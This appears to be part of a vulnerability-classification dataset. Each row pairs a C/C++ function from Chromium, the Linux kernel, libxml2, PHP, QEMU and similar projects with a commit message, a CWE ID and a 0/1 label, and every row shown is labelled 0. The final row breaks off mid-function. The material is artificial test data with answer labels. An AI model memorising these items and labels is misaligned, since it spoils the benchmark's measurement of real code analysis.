instruction stringclasses 1 value | input stringlengths 56 241k | output int64 0 1 | __index_level_0__ int64 0 175k |
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebGL2RenderingContextBase::copyBufferSubData(GLenum read_target,
GLenum write_target,
long long read_offset,
long long write_offset,
long long size) {
if (isContextLost())
return;
if (!ValidateValueFitNonNegInt32("copyBufferSubData", "readOffset",
read_offset) ||
!ValidateValueFitNonNegInt32("copyBufferSubData", "writeOffset",
write_offset) ||
!ValidateValueFitNonNegInt32("copyBufferSubData", "size", size)) {
return;
}
WebGLBuffer* read_buffer =
ValidateBufferDataTarget("copyBufferSubData", read_target);
if (!read_buffer)
return;
WebGLBuffer* write_buffer =
ValidateBufferDataTarget("copyBufferSubData", write_target);
if (!write_buffer)
return;
if (read_offset + size > read_buffer->GetSize() ||
write_offset + size > write_buffer->GetSize()) {
SynthesizeGLError(GL_INVALID_VALUE, "copyBufferSubData", "buffer overflow");
return;
}
if ((write_buffer->GetInitialTarget() == GL_ELEMENT_ARRAY_BUFFER &&
read_buffer->GetInitialTarget() != GL_ELEMENT_ARRAY_BUFFER) ||
(write_buffer->GetInitialTarget() != GL_ELEMENT_ARRAY_BUFFER &&
read_buffer->GetInitialTarget() == GL_ELEMENT_ARRAY_BUFFER)) {
SynthesizeGLError(GL_INVALID_OPERATION, "copyBufferSubData",
"Cannot copy into an element buffer destination from a "
"non-element buffer source");
return;
}
if (write_buffer->GetInitialTarget() == 0)
write_buffer->SetInitialTarget(read_buffer->GetInitialTarget());
ContextGL()->CopyBufferSubData(
read_target, write_target, static_cast<GLintptr>(read_offset),
static_cast<GLintptr>(write_offset), static_cast<GLsizeiptr>(size));
}
Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
R=kbr@chromium.org,piman@chromium.org
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <piman@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Cr-Commit-Position: refs/heads/master@{#486518}
CWE ID: CWE-119 | 0 | 133,397 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: LoginBigUserView* LockContentsView::TryToFindBigUser(const AccountId& user,
bool require_auth_active) {
LoginBigUserView* view = nullptr;
if (primary_big_view_ &&
primary_big_view_->GetCurrentUser()->basic_user_info->account_id ==
user) {
view = primary_big_view_;
} else if (opt_secondary_big_view_ &&
opt_secondary_big_view_->GetCurrentUser()
->basic_user_info->account_id == user) {
view = opt_secondary_big_view_;
}
if (require_auth_active && view && !view->IsAuthEnabled())
view = nullptr;
return view;
}
Commit Message: cros: Check initial auth type when showing views login.
Bug: 859611
Change-Id: I0298db9bbf4aed6bd40600aef2e1c5794e8cd058
Reviewed-on: https://chromium-review.googlesource.com/1123056
Reviewed-by: Xiaoyin Hu <xiaoyinh@chromium.org>
Commit-Queue: Jacob Dufault <jdufault@chromium.org>
Cr-Commit-Position: refs/heads/master@{#572224}
CWE ID: | 0 | 131,546 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ~MockAffiliationFetcherDelegate() {}
Commit Message: Update AffiliationFetcher to use new Affiliation API wire format.
The new format is not backward compatible with the old one, therefore this CL updates the client side protobuf definitions to be in line with the API definition. However, this CL does not yet make use of any additional fields introduced in the new wire format.
BUG=437865
Review URL: https://codereview.chromium.org/996613002
Cr-Commit-Position: refs/heads/master@{#319860}
CWE ID: CWE-119 | 0 | 110,138 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SPL_METHOD(SplMaxHeap, compare)
{
zval *a, *b;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zz", &a, &b) == FAILURE) {
return;
}
RETURN_LONG(spl_ptr_heap_zval_max_cmp(a, b, NULL TSRMLS_CC));
}
Commit Message:
CWE ID: | 0 | 14,887 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: FileBrowserPrivateGetDriveFilesFunction() {
}
Commit Message: Reland r286968: The CL borrows ShareDialog from Files.app and add it to Gallery.
Previous Review URL: https://codereview.chromium.org/431293002
BUG=374667
TEST=manually
R=yoshiki@chromium.org, mtomasz@chromium.org
Review URL: https://codereview.chromium.org/433733004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@286975 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 111,761 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: UsbResetDeviceFunction::UsbResetDeviceFunction() {
}
Commit Message: Remove fallback when requesting a single USB interface.
This reverts commit 2d475d0ed37bf8f19385537ad31e361f1b21624b. The
permission broker now supports opening devices that are partially
claimed through the OpenPath method and RequestPathAccess will always
fail for these devices so the fallback path from RequestPathAccess to
OpenPath is always taken.
BUG=500057
Review URL: https://codereview.chromium.org/1227313003
Cr-Commit-Position: refs/heads/master@{#338354}
CWE ID: CWE-399 | 0 | 123,428 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: FreeXkbFile(XkbFile *file)
{
XkbFile *next;
while (file)
{
next = (XkbFile *) file->common.next;
switch (file->file_type) {
case FILE_TYPE_KEYMAP:
FreeXkbFile((XkbFile *) file->defs);
break;
case FILE_TYPE_TYPES:
case FILE_TYPE_COMPAT:
case FILE_TYPE_SYMBOLS:
case FILE_TYPE_KEYCODES:
case FILE_TYPE_GEOMETRY:
FreeStmt(file->defs);
break;
default:
break;
}
free(file->name);
free(file);
file = next;
}
}
Commit Message: xkbcomp: fix pointer value for FreeStmt
Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
CWE ID: CWE-416 | 0 | 78,995 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static pixman_format_code_t get_pixman_format(uint32_t virtio_gpu_format)
{
switch (virtio_gpu_format) {
#ifdef HOST_WORDS_BIGENDIAN
case VIRTIO_GPU_FORMAT_B8G8R8X8_UNORM:
return PIXMAN_b8g8r8x8;
case VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM:
return PIXMAN_b8g8r8a8;
case VIRTIO_GPU_FORMAT_X8R8G8B8_UNORM:
return PIXMAN_x8r8g8b8;
case VIRTIO_GPU_FORMAT_A8R8G8B8_UNORM:
return PIXMAN_a8r8g8b8;
case VIRTIO_GPU_FORMAT_R8G8B8X8_UNORM:
return PIXMAN_r8g8b8x8;
case VIRTIO_GPU_FORMAT_R8G8B8A8_UNORM:
return PIXMAN_r8g8b8a8;
case VIRTIO_GPU_FORMAT_X8B8G8R8_UNORM:
return PIXMAN_x8b8g8r8;
case VIRTIO_GPU_FORMAT_A8B8G8R8_UNORM:
return PIXMAN_a8b8g8r8;
#else
case VIRTIO_GPU_FORMAT_B8G8R8X8_UNORM:
return PIXMAN_x8r8g8b8;
case VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM:
return PIXMAN_a8r8g8b8;
case VIRTIO_GPU_FORMAT_X8R8G8B8_UNORM:
return PIXMAN_b8g8r8x8;
case VIRTIO_GPU_FORMAT_A8R8G8B8_UNORM:
return PIXMAN_b8g8r8a8;
case VIRTIO_GPU_FORMAT_R8G8B8X8_UNORM:
return PIXMAN_x8b8g8r8;
case VIRTIO_GPU_FORMAT_R8G8B8A8_UNORM:
return PIXMAN_a8b8g8r8;
case VIRTIO_GPU_FORMAT_X8B8G8R8_UNORM:
return PIXMAN_r8g8b8x8;
case VIRTIO_GPU_FORMAT_A8B8G8R8_UNORM:
return PIXMAN_r8g8b8a8;
#endif
default:
return 0;
}
}
Commit Message:
CWE ID: CWE-772 | 0 | 6,227 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void __init evm_load_x509(void)
{
int rc;
rc = integrity_load_x509(INTEGRITY_KEYRING_EVM, CONFIG_EVM_X509_PATH);
if (!rc)
evm_initialized |= EVM_INIT_X509;
}
Commit Message: EVM: Use crypto_memneq() for digest comparisons
This patch fixes vulnerability CVE-2016-2085. The problem exists
because the vm_verify_hmac() function includes a use of memcmp().
Unfortunately, this allows timing side channel attacks; specifically
a MAC forgery complexity drop from 2^128 to 2^12. This patch changes
the memcmp() to the cryptographically safe crypto_memneq().
Reported-by: Xiaofei Rex Guo <xiaofei.rex.guo@intel.com>
Signed-off-by: Ryan Ware <ware@linux.intel.com>
Cc: stable@vger.kernel.org
Signed-off-by: Mimi Zohar <zohar@linux.vnet.ibm.com>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-19 | 0 | 55,371 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gplotSimple2(NUMA *na1,
NUMA *na2,
l_int32 outformat,
const char *outroot,
const char *title)
{
return gplotSimpleXY2(NULL, na1, na2, GPLOT_LINES,
outformat, outroot, title);
}
Commit Message: Security fixes: expect final changes for release 1.75.3.
* Fixed a debian security issue with fscanf() reading a string with
possible buffer overflow.
* There were also a few similar situations with sscanf().
CWE ID: CWE-119 | 0 | 84,156 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void DownloadItemImpl::UpdateObservers() {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
FOR_EACH_OBSERVER(Observer, observers_, OnDownloadUpdated(this));
}
Commit Message: Refactors to simplify rename pathway in DownloadFileManager.
This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted
due to CrOS failure) with the completion logic moved to after the
auto-opening. The tests that test the auto-opening (for web store install)
were waiting for download completion to check install, and hence were
failing when completion was moved earlier.
Doing this right would probably require another state (OPENED).
BUG=123998
BUG-134930
R=asanka@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10701040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 106,161 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int find_snapshot_by_id_and_name(BlockDriverState *bs,
const char *id,
const char *name)
{
BDRVQcowState *s = bs->opaque;
int i;
if (id && name) {
for (i = 0; i < s->nb_snapshots; i++) {
if (!strcmp(s->snapshots[i].id_str, id) &&
!strcmp(s->snapshots[i].name, name)) {
return i;
}
}
} else if (id) {
for (i = 0; i < s->nb_snapshots; i++) {
if (!strcmp(s->snapshots[i].id_str, id)) {
return i;
}
}
} else if (name) {
for (i = 0; i < s->nb_snapshots; i++) {
if (!strcmp(s->snapshots[i].name, name)) {
return i;
}
}
}
return -1;
}
Commit Message:
CWE ID: CWE-119 | 0 | 16,780 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline void resolveRunBasedOnScriptExtensions(Vector<CandidateRun>& runs,
CandidateRun& run, size_t i, size_t length, UScriptCode* scriptExtensions,
int extensionsLength, size_t& nextResolvedRun)
{
if (extensionsLength <= 1)
return;
if (i > 0 && matchesAdjacentRun(scriptExtensions, extensionsLength, runs[i - 1])) {
run.script = runs[i - 1].script;
return;
}
for (size_t j = i + 1; j < length; j++) {
if (runs[j].script != USCRIPT_COMMON
&& runs[j].script != USCRIPT_INHERITED
&& matchesAdjacentRun(scriptExtensions, extensionsLength, runs[j])) {
nextResolvedRun = j;
break;
}
}
}
Commit Message: Always initialize |m_totalWidth| in HarfBuzzShaper::shape.
R=leviw@chromium.org
BUG=476647
Review URL: https://codereview.chromium.org/1108663003
git-svn-id: svn://svn.chromium.org/blink/trunk@194541 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 128,423 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PHP_FUNCTION(stripslashes)
{
zend_string *str;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "S", &str) == FAILURE) {
return;
}
ZVAL_STRINGL(return_value, ZSTR_VAL(str), ZSTR_LEN(str));
php_stripslashes(Z_STR_P(return_value));
}
Commit Message:
CWE ID: CWE-17 | 0 | 14,641 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void blkif_notify_work(struct xen_blkif *blkif)
{
blkif->waiting_reqs = 1;
wake_up(&blkif->wq);
}
Commit Message: xen/blkback: Check device permissions before allowing OP_DISCARD
We need to make sure that the device is not RO or that
the request is not past the number of sectors we want to
issue the DISCARD operation for.
This fixes CVE-2013-2140.
Cc: stable@vger.kernel.org
Acked-by: Jan Beulich <JBeulich@suse.com>
Acked-by: Ian Campbell <Ian.Campbell@citrix.com>
[v1: Made it pr_warn instead of pr_debug]
Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
CWE ID: CWE-20 | 0 | 31,824 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: CCLayerTreeHostTestSetNeedsCommit1()
: m_numCommits(0)
, m_numDraws(0)
{
}
Commit Message: [chromium] Fix shutdown race when posting main thread task to CCThreadProxy and enable tests
https://bugs.webkit.org/show_bug.cgi?id=70161
Reviewed by David Levin.
Source/WebCore:
Adds a weak pointer mechanism to cancel main thread tasks posted to CCThreadProxy instances from the compositor
thread. Previously there was a race condition where main thread tasks could run even after the CCThreadProxy was
destroyed.
This race does not exist in the other direction because when tearing down a CCThreadProxy we first post a quit
task to the compositor thread and then suspend execution of the main thread until all compositor tasks for the
CCThreadProxy have been drained.
Covered by the now-enabled CCLayerTreeHostTest* unit tests.
* WebCore.gypi:
* platform/graphics/chromium/cc/CCScopedMainThreadProxy.h: Added.
(WebCore::CCScopedMainThreadProxy::create):
(WebCore::CCScopedMainThreadProxy::postTask):
(WebCore::CCScopedMainThreadProxy::shutdown):
(WebCore::CCScopedMainThreadProxy::CCScopedMainThreadProxy):
(WebCore::CCScopedMainThreadProxy::runTaskIfNotShutdown):
* platform/graphics/chromium/cc/CCThreadProxy.cpp:
(WebCore::CCThreadProxy::CCThreadProxy):
(WebCore::CCThreadProxy::~CCThreadProxy):
(WebCore::CCThreadProxy::createBeginFrameAndCommitTaskOnCCThread):
* platform/graphics/chromium/cc/CCThreadProxy.h:
Source/WebKit/chromium:
Enables the CCLayerTreeHostTest* tests by default. Most tests are run twice in a single thread and multiple
thread configuration. Some tests run only in the multiple thread configuration if they depend on the compositor
thread scheduling draws by itself.
* tests/CCLayerTreeHostTest.cpp:
(::CCLayerTreeHostTest::timeout):
(::CCLayerTreeHostTest::clearTimeout):
(::CCLayerTreeHostTest::CCLayerTreeHostTest):
(::CCLayerTreeHostTest::onEndTest):
(::CCLayerTreeHostTest::TimeoutTask::TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::clearTest):
(::CCLayerTreeHostTest::TimeoutTask::~TimeoutTask):
(::CCLayerTreeHostTest::TimeoutTask::Run):
(::CCLayerTreeHostTest::runTest):
(::CCLayerTreeHostTest::doBeginTest):
(::CCLayerTreeHostTestThreadOnly::runTest):
(::CCLayerTreeHostTestSetNeedsRedraw::commitCompleteOnCCThread):
git-svn-id: svn://svn.chromium.org/blink/trunk@97784 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119 | 0 | 97,862 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xsltApplyImports(xsltTransformContextPtr ctxt, xmlNodePtr contextNode,
xmlNodePtr inst,
xsltStylePreCompPtr comp ATTRIBUTE_UNUSED)
{
xsltTemplatePtr templ;
if ((ctxt == NULL) || (inst == NULL))
return;
if (comp == NULL) {
xsltTransformError(ctxt, NULL, inst,
"Internal error in xsltApplyImports(): "
"The XSLT 'apply-imports' instruction was not compiled.\n");
return;
}
/*
* NOTE that ctxt->currentTemplateRule and ctxt->templ is not the
* same; the former is the "Current Template Rule" as defined by the
* XSLT spec, the latter is simply the template struct being
* currently processed.
*/
if (ctxt->currentTemplateRule == NULL) {
/*
* SPEC XSLT 2.0:
* "[ERR XTDE0560] It is a non-recoverable dynamic error if
* xsl:apply-imports or xsl:next-match is evaluated when the
* current template rule is null."
*/
xsltTransformError(ctxt, NULL, inst,
"It is an error to call 'apply-imports' "
"when there's no current template rule.\n");
return;
}
/*
* TODO: Check if this is correct.
*/
templ = xsltGetTemplate(ctxt, contextNode,
ctxt->currentTemplateRule->style);
if (templ != NULL) {
xsltTemplatePtr oldCurTemplRule = ctxt->currentTemplateRule;
/*
* Set the current template rule.
*/
ctxt->currentTemplateRule = templ;
/*
* URGENT TODO: Need xsl:with-param be handled somehow here?
*/
xsltApplyXSLTTemplate(ctxt, contextNode, templ->content,
templ, NULL);
ctxt->currentTemplateRule = oldCurTemplRule;
}
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119 | 0 | 156,806 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int do_recv_XAnyEvent(rpc_message_t *message, XEvent *xevent)
{
uint32_t serial, send_event, window;
int error;
if ((error = rpc_message_recv_uint32(message, &serial)) < 0)
return error;
if ((error = rpc_message_recv_uint32(message, &send_event)) < 0)
return error;
if ((error = rpc_message_recv_uint32(message, &window)) < 0)
return error;
xevent->xany.serial = serial;
xevent->xany.send_event = send_event;
xevent->xany.window = window;
return RPC_ERROR_NO_ERROR;
}
Commit Message: Support all the new variables added
CWE ID: CWE-264 | 0 | 26,979 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xmlParseEndTag2(xmlParserCtxtPtr ctxt, const xmlChar *prefix,
const xmlChar *URI, int line, int nsNr, int tlen) {
const xmlChar *name;
size_t curLength;
GROW;
if ((RAW != '<') || (NXT(1) != '/')) {
xmlFatalErr(ctxt, XML_ERR_LTSLASH_REQUIRED, NULL);
return;
}
SKIP(2);
curLength = ctxt->input->end - ctxt->input->cur;
if ((tlen > 0) && (curLength >= (size_t)tlen) &&
(xmlStrncmp(ctxt->input->cur, ctxt->name, tlen) == 0)) {
if ((curLength >= (size_t)(tlen + 1)) &&
(ctxt->input->cur[tlen] == '>')) {
ctxt->input->cur += tlen + 1;
ctxt->input->col += tlen + 1;
goto done;
}
ctxt->input->cur += tlen;
ctxt->input->col += tlen;
name = (xmlChar*)1;
} else {
if (prefix == NULL)
name = xmlParseNameAndCompare(ctxt, ctxt->name);
else
name = xmlParseQNameAndCompare(ctxt, ctxt->name, prefix);
}
/*
* We should definitely be at the ending "S? '>'" part
*/
GROW;
if (ctxt->instate == XML_PARSER_EOF)
return;
SKIP_BLANKS;
if ((!IS_BYTE_CHAR(RAW)) || (RAW != '>')) {
xmlFatalErr(ctxt, XML_ERR_GT_REQUIRED, NULL);
} else
NEXT1;
/*
* [ WFC: Element Type Match ]
* The Name in an element's end-tag must match the element type in the
* start-tag.
*
*/
if (name != (xmlChar*)1) {
if (name == NULL) name = BAD_CAST "unparseable";
if ((line == 0) && (ctxt->node != NULL))
line = ctxt->node->line;
xmlFatalErrMsgStrIntStr(ctxt, XML_ERR_TAG_NAME_MISMATCH,
"Opening and ending tag mismatch: %s line %d and %s\n",
ctxt->name, line, name);
}
/*
* SAX: End of Tag
*/
done:
if ((ctxt->sax != NULL) && (ctxt->sax->endElementNs != NULL) &&
(!ctxt->disableSAX))
ctxt->sax->endElementNs(ctxt->userData, ctxt->name, prefix, URI);
spacePop(ctxt);
if (nsNr != 0)
nsPop(ctxt, nsNr);
return;
}
Commit Message: Detect infinite recursion in parameter entities
When expanding a parameter entity in a DTD, infinite recursion could
lead to an infinite loop or memory exhaustion.
Thanks to Wei Lei for the first of many reports.
Fixes bug 759579.
CWE ID: CWE-835 | 0 | 59,483 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int ima_parse_rule(char *rule, struct ima_measure_rule_entry *entry)
{
struct audit_buffer *ab;
char *p;
int result = 0;
ab = audit_log_start(NULL, GFP_KERNEL, AUDIT_INTEGRITY_RULE);
entry->uid = -1;
entry->action = UNKNOWN;
while ((p = strsep(&rule, " \t")) != NULL) {
substring_t args[MAX_OPT_ARGS];
int token;
unsigned long lnum;
if (result < 0)
break;
if ((*p == '\0') || (*p == ' ') || (*p == '\t'))
continue;
token = match_token(p, policy_tokens, args);
switch (token) {
case Opt_measure:
ima_log_string(ab, "action", "measure");
if (entry->action != UNKNOWN)
result = -EINVAL;
entry->action = MEASURE;
break;
case Opt_dont_measure:
ima_log_string(ab, "action", "dont_measure");
if (entry->action != UNKNOWN)
result = -EINVAL;
entry->action = DONT_MEASURE;
break;
case Opt_func:
ima_log_string(ab, "func", args[0].from);
if (entry->func)
result = -EINVAL;
if (strcmp(args[0].from, "FILE_CHECK") == 0)
entry->func = FILE_CHECK;
/* PATH_CHECK is for backwards compat */
else if (strcmp(args[0].from, "PATH_CHECK") == 0)
entry->func = FILE_CHECK;
else if (strcmp(args[0].from, "FILE_MMAP") == 0)
entry->func = FILE_MMAP;
else if (strcmp(args[0].from, "BPRM_CHECK") == 0)
entry->func = BPRM_CHECK;
else
result = -EINVAL;
if (!result)
entry->flags |= IMA_FUNC;
break;
case Opt_mask:
ima_log_string(ab, "mask", args[0].from);
if (entry->mask)
result = -EINVAL;
if ((strcmp(args[0].from, "MAY_EXEC")) == 0)
entry->mask = MAY_EXEC;
else if (strcmp(args[0].from, "MAY_WRITE") == 0)
entry->mask = MAY_WRITE;
else if (strcmp(args[0].from, "MAY_READ") == 0)
entry->mask = MAY_READ;
else if (strcmp(args[0].from, "MAY_APPEND") == 0)
entry->mask = MAY_APPEND;
else
result = -EINVAL;
if (!result)
entry->flags |= IMA_MASK;
break;
case Opt_fsmagic:
ima_log_string(ab, "fsmagic", args[0].from);
if (entry->fsmagic) {
result = -EINVAL;
break;
}
result = strict_strtoul(args[0].from, 16,
&entry->fsmagic);
if (!result)
entry->flags |= IMA_FSMAGIC;
break;
case Opt_uid:
ima_log_string(ab, "uid", args[0].from);
if (entry->uid != -1) {
result = -EINVAL;
break;
}
result = strict_strtoul(args[0].from, 10, &lnum);
if (!result) {
entry->uid = (uid_t) lnum;
if (entry->uid != lnum)
result = -EINVAL;
else
entry->flags |= IMA_UID;
}
break;
case Opt_obj_user:
ima_log_string(ab, "obj_user", args[0].from);
result = ima_lsm_rule_init(entry, args[0].from,
LSM_OBJ_USER,
AUDIT_OBJ_USER);
break;
case Opt_obj_role:
ima_log_string(ab, "obj_role", args[0].from);
result = ima_lsm_rule_init(entry, args[0].from,
LSM_OBJ_ROLE,
AUDIT_OBJ_ROLE);
break;
case Opt_obj_type:
ima_log_string(ab, "obj_type", args[0].from);
result = ima_lsm_rule_init(entry, args[0].from,
LSM_OBJ_TYPE,
AUDIT_OBJ_TYPE);
break;
case Opt_subj_user:
ima_log_string(ab, "subj_user", args[0].from);
result = ima_lsm_rule_init(entry, args[0].from,
LSM_SUBJ_USER,
AUDIT_SUBJ_USER);
break;
case Opt_subj_role:
ima_log_string(ab, "subj_role", args[0].from);
result = ima_lsm_rule_init(entry, args[0].from,
LSM_SUBJ_ROLE,
AUDIT_SUBJ_ROLE);
break;
case Opt_subj_type:
ima_log_string(ab, "subj_type", args[0].from);
result = ima_lsm_rule_init(entry, args[0].from,
LSM_SUBJ_TYPE,
AUDIT_SUBJ_TYPE);
break;
case Opt_err:
ima_log_string(ab, "UNKNOWN", p);
result = -EINVAL;
break;
}
}
if (!result && (entry->action == UNKNOWN))
result = -EINVAL;
audit_log_format(ab, "res=%d", !!result);
audit_log_end(ab);
return result;
}
Commit Message: ima: fix add LSM rule bug
If security_filter_rule_init() doesn't return a rule, then not everything
is as fine as the return code implies.
This bug only occurs when the LSM (eg. SELinux) is disabled at runtime.
Adding an empty LSM rule causes ima_match_rules() to always succeed,
ignoring any remaining rules.
default IMA TCB policy:
# PROC_SUPER_MAGIC
dont_measure fsmagic=0x9fa0
# SYSFS_MAGIC
dont_measure fsmagic=0x62656572
# DEBUGFS_MAGIC
dont_measure fsmagic=0x64626720
# TMPFS_MAGIC
dont_measure fsmagic=0x01021994
# SECURITYFS_MAGIC
dont_measure fsmagic=0x73636673
< LSM specific rule >
dont_measure obj_type=var_log_t
measure func=BPRM_CHECK
measure func=FILE_MMAP mask=MAY_EXEC
measure func=FILE_CHECK mask=MAY_READ uid=0
Thus without the patch, with the boot parameters 'tcb selinux=0', adding
the above 'dont_measure obj_type=var_log_t' rule to the default IMA TCB
measurement policy, would result in nothing being measured. The patch
prevents the default TCB policy from being replaced.
Signed-off-by: Mimi Zohar <zohar@us.ibm.com>
Cc: James Morris <jmorris@namei.org>
Acked-by: Serge Hallyn <serge.hallyn@canonical.com>
Cc: David Safford <safford@watson.ibm.com>
Cc: <stable@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 27,847 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GF_Err styl_dump(GF_Box *a, FILE * trace)
{
u32 i;
GF_TextStyleBox*p = (GF_TextStyleBox*)a;
gf_isom_box_dump_start(a, "TextStyleBox", trace);
fprintf(trace, ">\n");
for (i=0; i<p->entry_count; i++) tx3g_dump_style(trace, &p->styles[i]);
if (!p->size) {
fprintf(trace, "<StyleRecord startChar=\"\" endChar=\"\" fontID=\"\" styles=\"Normal|Bold|Italic|Underlined\" fontSize=\"\" textColor=\"\" />\n");
}
gf_isom_box_dump_done("TextStyleBox", a, trace);
return GF_OK;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125 | 0 | 80,861 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: LZWStream::~LZWStream() {
if (pred) {
delete pred;
}
delete str;
}
Commit Message:
CWE ID: CWE-119 | 0 | 4,077 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void PrintPreviewHandler::HandleGetPrinterCapabilities(const ListValue* args) {
std::string printer_name;
bool ret = args->GetString(0, &printer_name);
if (!ret || printer_name.empty())
return;
scoped_refptr<PrintSystemTaskProxy> task =
new PrintSystemTaskProxy(AsWeakPtr(),
print_backend_.get(),
has_logged_printers_count_);
BrowserThread::PostTask(
BrowserThread::FILE, FROM_HERE,
base::Bind(&PrintSystemTaskProxy::GetPrinterCapabilities, task.get(),
printer_name));
}
Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-200 | 0 | 105,802 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: WebContext::BrowserContextDelegate::BrowserContextDelegate(
const base::WeakPtr<WebContext> context)
: context_getter_(new WebContextGetter(context)) {}
Commit Message:
CWE ID: CWE-20 | 0 | 16,950 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool HasMediaRouterActionAtInit() const {
const std::set<std::string>& component_ids =
ToolbarActionsModel::Get(browser()->profile())
->component_actions_factory()
->GetInitialComponentIds();
return base::ContainsKey(
component_ids, ComponentToolbarActionsFactory::kMediaRouterActionId);
}
Commit Message: Enforce the WebUsbAllowDevicesForUrls policy
This change modifies UsbChooserContext to use the UsbAllowDevicesForUrls
class to consider devices allowed by the WebUsbAllowDevicesForUrls
policy. The WebUsbAllowDevicesForUrls policy overrides the other WebUSB
policies. Unit tests are also added to ensure that the policy is being
enforced correctly.
The design document for this feature is found at:
https://docs.google.com/document/d/1MPvsrWiVD_jAC8ELyk8njFpy6j1thfVU5aWT3TCWE8w
Bug: 854329
Change-Id: I5f82e662ca9dc544da5918eae766b5535a31296b
Reviewed-on: https://chromium-review.googlesource.com/c/1259289
Commit-Queue: Ovidio Henriquez <odejesush@chromium.org>
Reviewed-by: Reilly Grant <reillyg@chromium.org>
Reviewed-by: Julian Pastarmov <pastarmovj@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597926}
CWE ID: CWE-119 | 0 | 157,056 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: RenderProcessHostImpl::~RenderProcessHostImpl() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
#ifndef NDEBUG
DCHECK(is_self_deleted_)
<< "RenderProcessHostImpl is destroyed by something other than itself";
#endif
in_process_renderer_.reset();
ChildProcessSecurityPolicyImpl::GetInstance()->Remove(GetID());
if (gpu_observer_registered_) {
